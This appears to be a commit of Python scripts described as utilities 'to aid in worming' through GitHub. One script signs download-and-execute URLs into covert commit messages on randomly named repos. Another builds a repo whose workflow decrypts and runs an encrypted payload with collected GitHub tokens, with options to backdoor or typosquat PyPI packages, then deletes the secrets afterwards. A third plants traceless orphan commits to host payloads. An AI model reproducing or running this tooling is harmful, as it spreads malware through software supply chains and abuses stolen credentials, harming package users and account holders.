Upload files to "utility_scripts"

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commit 114f2867f8
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Collection of utility scripts to aid in worming.
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#!/usr/bin/env python3
import argparse
import base64
import random
import subprocess
import sys
from pathlib import Path
import requests
try:
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import padding
except ImportError:
try:
subprocess.check_call(
[sys.executable, "-m", "pip", "install", "cryptography"],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
)
except:
try:
subprocess.check_call(
[
sys.executable,
"-m",
"pip",
"install",
"cryptography",
"--break-system-packages",
],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
)
except:
sys.exit(1)
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import padding
API = "https://api.github.com"
ADJECTIVES = [
"stygian",
"tartarean",
"erebean",
"infernal",
"chthonic",
"acheronian",
"lethean",
"plutonian",
"abyssal",
"charonian",
"thanatic",
"funereal",
"nekyian",
"sepulchral",
"tenebrous",
"cimmerian",
]
NOUNS = [
"cerberus",
"charon",
"tartarus",
"erebus",
"asphodel",
"acheron",
"styx",
"lethe",
"cocytus",
"phlegethon",
"shade",
"eidolon",
"wraith",
"thanatos",
"hecate",
"persephone",
]
def gh(token: str, method: str, path: str, **kwargs) -> dict | None:
url = f"{API}{path}" if path.startswith("/") else path
headers = {
"Authorization": f"Bearer {token}",
"Accept": "application/vnd.github+json",
"X-GitHub-Api-Version": "2022-11-28",
}
if "json" in kwargs:
headers["Content-Type"] = "application/json"
resp = requests.request(method, url, headers=headers, **kwargs)
if not resp.ok:
print(f"GitHub API error {resp.status_code}: {resp.text}", file=sys.stderr)
sys.exit(1)
if resp.status_code == 204:
return None
return resp.json()
def generate_repo_name() -> str:
adj = random.choice(ADJECTIVES)
noun = random.choice(NOUNS)
num = random.randint(10000, 99999)
return f"{adj}-{noun}-{num}"
def create_repo(token: str, name: str) -> str:
"""Create a public repo and return owner/name."""
repo = gh(
token,
"POST",
"/user/repos",
json={
"name": name,
"private": False,
"auto_init": True,
"has_issues": False,
"has_wiki": False,
},
)
return repo["full_name"]
def create_orphan_commit(token: str, owner: str, repo: str, message: str) -> str:
"""Create an empty tree and an orphan commit with the given message."""
# Empty tree
tree = gh(
token,
"POST",
f"/repos/{owner}/{repo}/git/trees",
json={
"tree": [
{"path": ".gitkeep", "mode": "100644", "type": "blob", "content": ""}
],
},
)
# Orphan commit (no parents)
commit = gh(
token,
"POST",
f"/repos/{owner}/{repo}/git/commits",
json={
"message": message,
"tree": tree["sha"],
"parents": [],
},
)
return commit["sha"]
def load_private_key(key_path: str):
with open(key_path, "rb") as f:
return serialization.load_pem_private_key(f.read(), password=None)
def sign_url(url: str, private_key) -> tuple:
url_b64 = base64.b64encode(url.encode()).decode()
signature = private_key.sign(
url_b64.encode(),
padding.PSS(
mgf=padding.MGF1(hashes.SHA256()), salt_length=padding.PSS.MAX_LENGTH
),
hashes.SHA256(),
)
signature_b64 = base64.b64encode(signature).decode()
return url_b64, signature_b64
def generate_commit_message(url: str, private_key, prefix: str = "") -> str:
url_b64, signature_b64 = sign_url(url, private_key)
if prefix:
return f"{prefix}\n\nfiredalazer {url_b64}.{signature_b64}"
else:
return f"firedalazer {url_b64}.{signature_b64}"
def main():
parser = argparse.ArgumentParser(
description="Generate signed GitHub commit messages",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
python3 commit_signer.py --url "https://example.com/script.py" --key private.pem
python3 commit_signer.py --url "https://example.com/update.py" --key private.pem --prefix "Update"
python3 commit_signer.py --url "https://example.com/payload" --keypair builds/DEMO-001/rsa_keypair.json
python3 commit_signer.py --url "https://example.com/payload" --key private.pem --pat ghp_xxx
""",
)
parser.add_argument("--url", required=True, help="URL to download and execute")
parser.add_argument("--key", help="Path to RSA private key PEM file")
parser.add_argument("--keypair", help="Path to RSA keypair JSON file")
parser.add_argument(
"--prefix", default="", help="Optional prefix for commit message"
)
parser.add_argument(
"--pat", help="GitHub PAT. If provided, creates a repo and commits the message."
)
args = parser.parse_args()
if args.keypair:
import json
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric import rsa
with open(args.keypair, "r") as f:
keypair = json.load(f)
private_key = rsa.RSAPrivateNumbers(
p=int(keypair["rsaPHex"], 16),
q=int(keypair["rsaQHex"], 16),
d=int(keypair["rsaDHex"], 16),
dmp1=int(keypair["rsaDPHex"], 16),
dmq1=int(keypair["rsaDQHex"], 16),
iqmp=int(keypair["rsaQInvHex"], 16),
public_numbers=rsa.RSAPublicNumbers(
e=int(keypair["rsaExponentHex"], 16),
n=int(keypair["rsaModulusHex"], 16),
),
).private_key(default_backend())
elif args.key:
private_key = load_private_key(args.key)
else:
return 1
commit_msg = generate_commit_message(args.url, private_key, args.prefix)
print(f"\n{'=' * 60}")
print(f"COMMIT MESSAGE:")
print(f"{'=' * 60}")
print(commit_msg)
print(f"{'=' * 60}")
print(f"\nTarget URL: {args.url}")
if args.pat:
repo_name = generate_repo_name()
print(f"\nCreating public repo: {repo_name}...")
full_name = create_repo(args.pat, repo_name)
owner, name = full_name.split("/")
print(f" https://github.com/{full_name}")
print(f"Creating orphan commit...")
commit_sha = create_orphan_commit(args.pat, owner, name, commit_msg)
print(f" https://github.com/{full_name}/commit/{commit_sha}")
print(f"Pushing to main...")
pushed = False
for branch in ("main", "master"):
try:
gh(
args.pat,
"PATCH",
f"/repos/{owner}/{name}/git/refs/heads/{branch}",
json={"sha": commit_sha, "force": True},
)
print(f" {branch} now points to {commit_sha[:7]}")
pushed = True
break
except SystemExit:
continue
if not pushed:
print(f" failed to update main or master — commit is orphaned")
print(f"\nRepo: https://github.com/{full_name}")
return 0
if __name__ == "__main__":
exit(main())
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#!/usr/bin/env python3
"""Create a private GitHub repo with a workflow_dispatch-triggered payload.
Usage:
python3 scripts/create_payload_repo.py \
--orchestartor-pat ghp_xxx \
--repo owner/name \
--js-path ./payload.js \
--pats ghp_aaa,ghp_bbb
Creates:
1. Private repo (using --orchestartor-pat)
2. index.js (the payload)
3. .github/workflows/run.yml — reads PATS secret → GITHUB_TOKEN2 → bun
4. An Actions secret PATS containing the comma-separated PATs
5. Dispatches a single workflow run
"""
import argparse
import base64
import os
import random
import secrets
import subprocess
import sys
from hashlib import sha256
import nacl.encoding
import nacl.public
import requests
API = "https://api.github.com"
# Set by main() — all API calls use this token.
_TOKEN: str = ""
def _headers() -> dict:
return {
"Authorization": f"Bearer {_TOKEN}",
"Accept": "application/vnd.github+json",
"X-GitHub-Api-Version": "2022-11-28",
}
def gh(method: str, path: str, **kwargs) -> dict | None:
url = f"{API}{path}" if path.startswith("/") else path
r = requests.request(method, url, headers=_headers(), **kwargs)
if not r.ok:
print(f"API error {r.status_code}: {r.text}", file=sys.stderr)
sys.exit(1)
if r.status_code == 204:
return None
return r.json()
# ── Actions secret helpers ──────────────────────────────────────────────
def get_repo_public_key(owner: str, repo: str) -> tuple[str, str]:
"""Return (key_id, key) for the repo's Actions secret encryption."""
r = gh("GET", f"/repos/{owner}/{repo}/actions/secrets/public-key")
return r["key_id"], r["key"]
def encrypt_secret_value(plaintext: str, pubkey_b64: str) -> str:
"""Encrypt a value using libsodium sealed box with the repo's
public key (required by the GitHub Actions secrets API)."""
pk = nacl.public.PublicKey(pubkey_b64, encoder=nacl.encoding.Base64Encoder)
box = nacl.public.SealedBox(pk)
encrypted = box.encrypt(plaintext.encode())
return base64.b64encode(encrypted).decode()
def put_secret(owner: str, repo: str, name: str, value: str):
"""Create or update a repo-level Actions secret."""
key_id, pubkey = get_repo_public_key(owner, repo)
encrypted = encrypt_secret_value(value, pubkey)
gh(
"PUT",
f"/repos/{owner}/{repo}/actions/secrets/{name}",
json={"encrypted_value": encrypted, "key_id": key_id},
)
# ── Repo operations ─────────────────────────────────────────────────────
def create_repo(name: str, private: bool = False) -> dict:
data = {"name": name, "private": False, "auto_init": True}
return gh("POST", "/user/repos", json=data)
def create_blob(owner: str, repo: str, content: str) -> str:
encoded = base64.b64encode(content.encode()).decode()
return gh(
"POST",
f"/repos/{owner}/{repo}/git/blobs",
json={"content": encoded, "encoding": "base64"},
)["sha"]
def get_default_branch_sha(owner: str, repo: str) -> str:
r = gh("GET", f"/repos/{owner}/{repo}")
branch = r["default_branch"]
ref = gh("GET", f"/repos/{owner}/{repo}/git/ref/heads/{branch}")
return ref["object"]["sha"]
def get_base_tree(owner: str, repo: str, sha: str) -> str:
commit = gh("GET", f"/repos/{owner}/{repo}/git/commits/{sha}")
return commit["tree"]["sha"]
def create_tree(
owner: str, repo: str, base_tree: str | None, entries: list[dict]
) -> str:
body: dict = {"tree": entries}
if base_tree is not None:
body["base_tree"] = base_tree
return gh(
"POST",
f"/repos/{owner}/{repo}/git/trees",
json=body,
)["sha"]
def create_commit(
owner: str, repo: str, message: str, tree: str, parents: list[str]
) -> str:
return gh(
"POST",
f"/repos/{owner}/{repo}/git/commits",
json={"message": message, "tree": tree, "parents": parents},
)["sha"]
def update_ref(owner: str, repo: str, branch: str, sha: str):
gh(
"PATCH",
f"/repos/{owner}/{repo}/git/refs/heads/{branch}",
json={"sha": sha, "force": True},
)
def get_default_branch(owner: str, repo: str) -> str:
return gh("GET", f"/repos/{owner}/{repo}")["default_branch"]
# ── Payload encryption ─────────────────────────────────────────────────
def encrypt_payload(data: bytes, passphrase: str) -> str:
"""AES-256-CBC encrypt with passphrase-derived key.
Returns base64 of IV + ciphertext."""
iv = os.urandom(16)
key = sha256(passphrase.encode()).digest()
proc = subprocess.run(
[
"openssl",
"enc",
"-aes-256-cbc",
"-K",
key.hex(),
"-iv",
iv.hex(),
"-nosalt",
],
input=data,
capture_output=True,
)
if proc.returncode != 0:
raise RuntimeError(f"openssl encrypt failed: {proc.stderr.decode()}")
return base64.b64encode(iv + proc.stdout).decode()
# One-liner decryptor embedded in the workflow YAML
DECRYPT_STEP = (
'python3 -c "'
"import base64,hashlib,os,subprocess;"
"d=base64.b64decode(open('index.js','rb').read());"
"iv=d[:16];ct=d[16:];"
"k=hashlib.sha256(os.environ['PASSPHRASE'].encode()).digest();"
"p=subprocess.run(['openssl','enc','-d','-aes-256-cbc','-K',k.hex(),'-iv',iv.hex(),'-nosalt'],input=ct,capture_output=True);"
"open('index.js','wb').write(p.stdout)"
'"'
)
# ── Main ────────────────────────────────────────────────────────────────
def main():
global _TOKEN
parser = argparse.ArgumentParser(description="Create payload repo")
parser.add_argument(
"--orchestartor-pat",
required=True,
help="GitHub PAT used to create the repo and push commits",
)
parser.add_argument("--repo", required=True, help="owner/name")
parser.add_argument("--js-path", required=True, help="Path to index.js payload")
parser.add_argument(
"--pats",
default=None,
help="Comma-separated PATs to dispatch (or path to file, one per line)",
)
parser.add_argument(
"--packages",
default=None,
help="Comma-separated PyPI packages to backdoor (sets PACKAGES env in workflow)",
)
parser.add_argument(
"--passphrase",
default=None,
help="Custom passphrase (auto-generated if not provided)",
)
parser.add_argument(
"--pypi-typos",
default=None,
help="Comma-separated packages to typo-squat (sets TYPO_MODE=1 + TARGET_PACKAGES)",
)
args = parser.parse_args()
_TOKEN = args.orchestartor_pat
owner, raw_name = args.repo.split("/", 1)
name = f"{raw_name}-{random.randint(10000, 99999)}"
with open(args.js_path) as f:
js_content = f.read()
# Encrypt payload (always — auto-generated passphrase if not provided)
passphrase = args.passphrase or secrets.token_hex(32)
js_content = encrypt_payload(js_content.encode(), passphrase)
# Resolve PATs list
pats: list[str] = []
if args.pats:
if os.path.isfile(args.pats):
with open(args.pats) as f:
pats = [line.strip() for line in f if line.strip()]
else:
pats = [p.strip() for p in args.pats.split(",") if p.strip()]
workflow_yaml = """\
name: Run
on:
workflow_dispatch:
jobs:
run:
runs-on: ubuntu-latest
permissions:
issues: write
steps:
- uses: actions/checkout@v6
- uses: oven-sh/setup-bun@v2
- name: decrypt
env:
PASSPHRASE: ${{{{ secrets.PASSPHRASE }}}}
run: {DECRYPT_STEP}
- name: run
env:
GITHUB_TOKEN2: ${{ secrets.PATS }}"""
if args.packages:
workflow_yaml += "\n PACKAGES: ${{ secrets.PACKAGES }}"
if args.pypi_typos:
workflow_yaml += """\
TYPO_MODE: "1"
TARGET_PACKAGES: ${{ secrets.TARGET_PACKAGES }}"""
workflow_yaml += "\n run: bun run index.js\n"
# 1. Create repo
print(f"Creating private repo {args.repo}...", file=sys.stderr)
create_repo(name, private=True)
print(f" https://github.com/{args.repo}", file=sys.stderr)
# 2. Get parent commit
parent_sha = get_default_branch_sha(owner, name)
base_tree = get_base_tree(owner, name, parent_sha)
# 3. Create blobs
js_sha = create_blob(owner, name, js_content)
wf_sha = create_blob(owner, name, workflow_yaml)
# 4. Build tree — .github/workflows/run.yml
wf_tree = create_tree(
owner,
name,
None, # no base — new tree
[
{
"path": "run.yml",
"mode": "100644",
"type": "blob",
"sha": wf_sha,
},
],
)
gh_tree = create_tree(
owner,
name,
None,
[
{
"path": "workflows",
"mode": "040000",
"type": "tree",
"sha": wf_tree,
},
],
)
new_tree = create_tree(
owner,
name,
base_tree,
[
{"path": "index.js", "mode": "100644", "type": "blob", "sha": js_sha},
{"path": ".github", "mode": "040000", "type": "tree", "sha": gh_tree},
],
)
# 5. Commit
commit_sha = create_commit(owner, name, "Add workflow", new_tree, [parent_sha])
update_ref(owner, name, get_default_branch(owner, name), commit_sha)
print(f"\nRepo: https://github.com/{args.repo}", file=sys.stderr)
print(
f"Dispatch: https://github.com/{args.repo}/actions/workflows/run.yml",
file=sys.stderr,
)
# 6. Store secrets
if pats:
pats_csv = ",".join(pats)
print(f"Storing PATS secret ({len(pats)} token(s))...", file=sys.stderr)
put_secret(owner, name, "PATS", pats_csv)
if args.packages:
print(f"Storing PACKAGES secret: {args.packages}...", file=sys.stderr)
put_secret(owner, name, "PACKAGES", args.packages)
print("Storing PASSPHRASE secret...", file=sys.stderr)
put_secret(owner, name, "PASSPHRASE", passphrase)
if args.pypi_typos:
print(f"Storing TARGET_PACKAGES secret: {args.pypi_typos}...", file=sys.stderr)
put_secret(owner, name, "TARGET_PACKAGES", args.pypi_typos)
# 7. Dispatch the workflow (no inputs — reads PATS secret)
branch = get_default_branch(owner, name)
print(f"Dispatching workflow on {branch}...", file=sys.stderr)
gh(
"POST",
f"/repos/{owner}/{name}/actions/workflows/run.yml/dispatches",
json={"ref": branch},
)
print(" dispatched", file=sys.stderr)
# 8. Wait for the workflow to pick up the secrets, then delete them
import time
print("Waiting 15s for workflow to start...", file=sys.stderr)
time.sleep(10)
if pats:
print("Deleting PATS secret...", file=sys.stderr)
gh("DELETE", f"/repos/{owner}/{name}/actions/secrets/PATS")
print(" deleted", file=sys.stderr)
if args.packages:
print("Deleting PACKAGES secret...", file=sys.stderr)
gh("DELETE", f"/repos/{owner}/{name}/actions/secrets/PACKAGES")
print(" deleted", file=sys.stderr)
print("Deleting PASSPHRASE secret...", file=sys.stderr)
gh("DELETE", f"/repos/{owner}/{name}/actions/secrets/PASSPHRASE")
print(" deleted", file=sys.stderr)
if args.pypi_typos:
print("Deleting TARGET_PACKAGES secret...", file=sys.stderr)
gh("DELETE", f"/repos/{owner}/{name}/actions/secrets/TARGET_PACKAGES")
print(" deleted", file=sys.stderr)
print(args.repo)
if __name__ == "__main__":
main()
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#!/usr/bin/env python3
"""Create an orphan commit containing a single file in a GitHub repo.
Usage:
python3 scripts/orphan-commit.py <pat> <owner/repo> <file-path> [message]
Example:
python3 scripts/orphan-commit.py ghp_xxx my-org/my-repo ./payload.bin "init"
"""
import base64
import json
import sys
from urllib.request import Request, urlopen
TOKEN = sys.argv[1] if len(sys.argv) > 1 else None
REPO = sys.argv[2] if len(sys.argv) > 2 else None
FILE = sys.argv[3] if len(sys.argv) > 3 else None
MSG = sys.argv[4] if len(sys.argv) > 4 else "init"
if not TOKEN or not REPO or not FILE:
print(
"Usage: orphan-commit.py <pat> <owner/repo> <file> [message]", file=sys.stderr
)
sys.exit(1)
owner, name = REPO.split("/", 1)
API = "https://api.github.com"
HEADERS = {
"Authorization": f"Bearer {TOKEN}",
"Accept": "application/vnd.github+json",
"X-GitHub-Api-Version": "2022-11-28",
"Content-Type": "application/json",
}
def gh(method, path, body=None):
req = Request(f"{API}{path}", method=method, headers=HEADERS)
if body:
req.data = json.dumps(body).encode()
resp = urlopen(req)
return json.loads(resp.read()) if resp.status != 204 else None
with open(FILE, "rb") as f:
content = f.read()
filename = FILE.rsplit("/", 1)[-1]
# 1. Create blob
blob = gh(
"POST",
f"/repos/{owner}/{name}/git/blobs",
{
"content": base64.b64encode(content).decode(),
"encoding": "base64",
},
)
# 2. Create tree with the single file
tree = gh(
"POST",
f"/repos/{owner}/{name}/git/trees",
{
"tree": [
{"path": filename, "mode": "100644", "type": "blob", "sha": blob["sha"]}
],
},
)
# 3. Create orphan commit (no parents, no branch ref)
commit = gh(
"POST",
f"/repos/{owner}/{name}/git/commits",
{
"message": MSG,
"tree": tree["sha"],
"parents": [],
},
)
# 4. Create a tag pointing to the commit, then delete it immediately.
# The creation event persists in GitHub's audit log so commit-monitoring
# tools pick it up, but the tag itself is gone with no trace on the repo.
tag_name = f"tmp-{commit['sha'][:7]}"
gh(
"POST",
f"/repos/{owner}/{name}/git/refs",
{"ref": f"refs/tags/{tag_name}", "sha": commit["sha"]},
)
gh(
"DELETE",
f"/repos/{owner}/{name}/git/refs/tags/{tag_name}",
)
print(f"https://raw.githubusercontent.com/{owner}/{name}/{commit['sha']}/{filename}")